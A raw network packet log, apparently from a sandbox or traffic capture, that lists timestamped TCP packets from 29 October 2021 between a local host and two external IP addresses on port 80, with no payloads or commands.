Oct 29, 2021 15:31:08.185535908 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185556889 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.185579062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185615063 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.185632944 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185672045 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185693979 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.185715914 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185755968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185769081 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.185795069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185841084 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185913086 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185952902 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.185992956 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186003923 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186029911 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186041117 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186048031 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186069965 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186109066 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186155081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186192989 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186193943 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186204910 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186235905 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186273098 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186274052 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186321020 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186358929 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186367989 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186400890 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186439991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186456919 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186480045 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186530113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186568975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186588049 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186609030 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186655998 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186666012 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186695099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186712980 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186734915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186773062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186800003 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186821938 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186872959 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.186943054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.186988115 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.187247992 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.247212887 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.247250080 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.247273922 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.247297049 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.247323036 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.247348070 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.247371912 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.247395992 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.247412920 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.247464895 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.247912884 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.249845028 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.249878883 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250112057 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250125885 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250153065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250176907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250201941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250226974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250238895 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250252008 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250260115 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250277042 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250303984 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250312090 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250327110 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250350952 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250355959 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250375032 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250399113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250421047 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250437975 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250444889 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250458002 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250469923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250497103 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250498056 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250519991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250545979 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250571012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250591040 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250591993 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250614882 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250617027 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250641108 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250644922 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250665903 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250689983 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250711918 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250736952 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250737906 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250752926 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250762939 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250787973 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250811100 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250812054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250824928 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250835896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250859976 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250881910 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250904083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250927925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250941038 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250952005 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250953913 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250974894 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.250979900 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.250998974 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.251023054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.251055956 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.251100063 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.310245991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.310278893 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.310408115 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.310575008 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.310619116 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.310640097 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.310662031 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.310678959 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.310700893 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.310710907 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.310722113 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.310813904 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314063072 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314095020 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314120054 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314143896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314163923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314187050 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314208031 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314230919 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314253092 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314254999 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314260960 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314263105 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314273119 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314291954 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314295053 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314313889 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314318895 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314342976 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314364910 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314385891 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314387083 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314408064 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314418077 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314433098 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314445019 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314455986 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314479113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314498901 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314510107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314529896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314552069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314557076 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314574957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314599037 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314618111 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314621925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314640999 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314642906 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314666986 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314687014 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314691067 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314707994 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314738035 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314757109 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314785957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314795017 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314806938 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314830065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314848900 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314851999 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314876080 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314894915 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314899921 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314924002 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314945936 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314966917 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.314969063 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314992905 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.314994097 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.315037966 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.373481035 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.373518944 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.373671055 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.373708963 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.373727083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.373740911 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:08.373788118 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:08.530030966 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:12.381120920 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.381159067 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.447951078 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.455707073 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.482969999 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:12.483012915 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:12.523927927 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.524571896 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.546665907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.546706915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.591097116 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.601214886 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.601242065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.601258993 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.601275921 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.601294994 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.601339102 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.601372004 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.601623058 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.601672888 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.601762056 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.601855993 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.601897955 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.601969004 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.602081060 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.602125883 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.666909933 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:12.667784929 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.667824030 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.667850971 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.667876959 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.667891026 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.667903900 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.667927980 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.667937994 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.667953968 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.667979002 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668000937 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668023109 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668036938 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.668055058 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668081999 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668090105 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.668095112 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.668127060 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.668242931 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668261051 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668273926 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.668303013 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668313026 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.668320894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668356895 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.668441057 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668482065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668517113 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.668521881 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668540001 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.668572903 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.733496904 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:12.734693050 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734720945 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734735012 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734750986 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734766006 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734777927 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734832048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734848976 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734863997 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734865904 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.734882116 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734910011 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.734931946 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.734963894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734980106 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.734992981 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735006094 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735018969 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735030890 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735039949 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735079050 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735097885 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735116005 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735126972 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735140085 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735157967 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735169888 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735171080 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735183954 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735198021 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735204935 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735210896 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735241890 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735268116 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735271931 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735285044 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735301971 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735312939 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735352039 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735384941 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735402107 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735456944 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735490084 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735507965 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735522985 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735541105 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735553980 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735557079 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735567093 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735577106 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735599041 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735610962 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735616922 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735635042 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735650063 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.735658884 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.735694885 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.770529032 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:12.771209955 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:12.801429033 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801461935 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801475048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801486969 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801503897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801522970 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801538944 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801553011 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.801556110 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801575899 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801594019 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:12.801599026 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:12.801606894 CEST	49846	80	192.168.2.7	193.56.146.214
